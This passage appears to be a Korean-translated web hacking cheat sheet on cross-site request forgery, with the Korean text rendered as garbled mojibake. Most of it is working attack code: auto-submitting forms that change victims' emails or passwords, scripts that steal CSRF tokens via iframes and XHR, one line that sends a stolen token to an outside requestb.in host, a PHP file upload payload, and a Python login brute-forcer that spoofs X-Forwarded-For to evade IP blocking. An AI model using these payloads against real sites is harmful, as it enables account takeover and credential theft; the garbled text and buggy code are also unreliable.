  3. SWF Flash File Utilization: ๋œ ์ผ๋ฐ˜์ ์ด์ง€๋งŒ ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ SWF flash ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ด ์ด๋Ÿฌํ•œ ์ œ์•ฝ์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ this post๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.

Referrer / Origin check bypass

Avoid Referrer header

Applications may validate the โ€˜Refererโ€™ header only when itโ€™s present. To prevent a browser from sending this header, the following HTML meta tag can be used:

<meta name="referrer" content="never">

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด โ€˜Refererโ€™ ํ—ค๋”๊ฐ€ ์ƒ๋žต๋˜์–ด ์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒ€์ฆ ์ฒดํฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Regexp bypasses

URL Format Bypass

URL์— Referrer๊ฐ€ ํŒŒ๋ผ๋ฏธํ„ฐ ์•ˆ์— ์ „์†กํ•  ์„œ๋ฒ„์˜ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์„ค์ •ํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD ๋ฉ”์„œ๋“œ ์šฐํšŒ

The first part of this CTF writeup is explained that Oakโ€™s source code, a router is set to HEAD ์š”์ฒญ์„ GET ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋„๋ก with no response body - a common workaround that isnโ€™t unique to Oak. Instead of a specific handler that deals with HEAD reqs, theyโ€™re simply GET ํ•ธ๋“ค๋Ÿฌ์— ์ „๋‹ฌ๋˜์ง€๋งŒ ์•ฑ์ด ์‘๋‹ต ๋ณธ๋ฌธ๋งŒ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ GET ์š”์ฒญ์ด ์ œํ•œ๋˜๋Š” ๊ฒฝ์šฐ, GET ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌ๋  HEAD ์š”์ฒญ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Exploit Examples

์‚ฌ์šฉ์ž ์ƒ์„ฑ HTML์„ ํ†ตํ•œ Stored CSRF

When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their ์ฟ ํ‚ค.

  • If the ์•ฑ uses a ๊ธ€๋กœ๋ฒŒ CSRF ํ† ํฐ that is not bound to the user ์„ธ์…˜, the same ํ† ํฐ may work for all users, making stored CSRF reliable across victims.

๋กœ๋”ฉ๋  ๋•Œ ๋ทฐ์–ด์˜ ์ด๋ฉ”์ผ์„ ๋ณ€๊ฒฝํ•˜๋Š” ์ตœ์†Œ ์˜ˆ์‹œ:

<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

๋กœ๊ทธ์ธ CSRF์™€ stored XSS ์—ฐ๊ณ„

๋กœ๊ทธ์ธ CSRF ๋‹จ๋…์œผ๋กœ๋Š” ์˜ํ–ฅ์ด ์ ์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ธ์ฆ๋œ stored XSS์™€ ๊ฒฐํ•ฉํ•˜๋ฉด ๊ฐ•๋ ฅํ•ด์ง‘๋‹ˆ๋‹ค: ํ”ผํ•ด์ž๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค; ๊ทธ๋Ÿฐ ์ปจํ…์ŠคํŠธ์—์„œ๋Š” ์ธ์ฆ๋œ ํŽ˜์ด์ง€์˜ stored XSS๊ฐ€ ์‹คํ–‰๋˜์–ด ํ† ํฐ์„ ํ›”์น˜๊ฑฐ๋‚˜ ์„ธ์…˜์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๋กœ๊ทธ์ธ ์—”๋“œํฌ์ธํŠธ๊ฐ€ CSRF-able(์„ธ์…˜๋ณ„ ํ† ํฐ์ด๋‚˜ origin ๊ฒ€์‚ฌ ์—†์Œ)ํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์š”๊ตฌ๋กœ ์ฐจ๋‹จ๋˜์ง€ ์•Š๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ๊ฐ•์ œ ๋กœ๊ทธ์ธ ํ›„, ๊ณต๊ฒฉ์ž์˜ stored XSS payload๋ฅผ ํฌํ•จํ•œ ํŽ˜์ด์ง€๋กœ ์ž๋™ ์ด๋™์‹œํ‚ค์„ธ์š”.

Minimal login-CSRF PoC:

<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

CSRF Token ํƒˆ์ทจ

๋งŒ์•ฝ CSRF token์ด defence๋กœ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋‹ค๋ฉด, XSS ์ทจ์•ฝ์ ์ด๋‚˜ Dangling Markup ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ exfiltrate it ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTML tags๋ฅผ ์ด์šฉํ•œ GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

์ž๋™์œผ๋กœ GET ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ HTML5 ํƒœ๊ทธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

ํผ GET ์š”์ฒญ

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

ํผ POST ์š”์ฒญ

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

iframe๋ฅผ ํ†ตํ•œ Form POST ์š”์ฒญ

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST ์š”์ฒญ

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST ์š”์ฒญ

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST ์š”์ฒญ v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

iframe ๋‚ด๋ถ€์—์„œ์˜ Form POST ์š”์ฒญ

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF Token ํƒˆ์ทจ ๋ฐ POST ์š”์ฒญ ์ „์†ก

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Token์„ ํƒˆ์ทจํ•˜๊ณ  iframe, form ๋ฐ Ajax๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Post ์š”์ฒญ์„ ์ „์†กํ•˜๊ธฐ

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Token์„ ํƒˆ์ทจํ•˜๊ณ  iframe๊ณผ form์„ ์‚ฌ์šฉํ•ด POST ์š”์ฒญ์„ ์ „์†ก

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

token์„ ํƒˆ์ทจํ•˜๊ณ  2๊ฐœ์˜ iframes๋กœ ์ „์†ก

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token์„ Ajax๋กœ ํ›”์น˜๊ณ  form์œผ๋กœ POST ์š”์ฒญ ์ „์†ก

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

Socket.IO๋ฅผ ์ด์šฉํ•œ CSRF

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

์ด ์ฝ”๋“œ๋Š” CSRF token์„ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธ ํผ์— ๋Œ€ํ•ด Brut Force ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋˜ํ•œ ์ž ์žฌ์ ์ธ IP blacklisting์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด X-Forwarded-For ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

๋„๊ตฌ

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ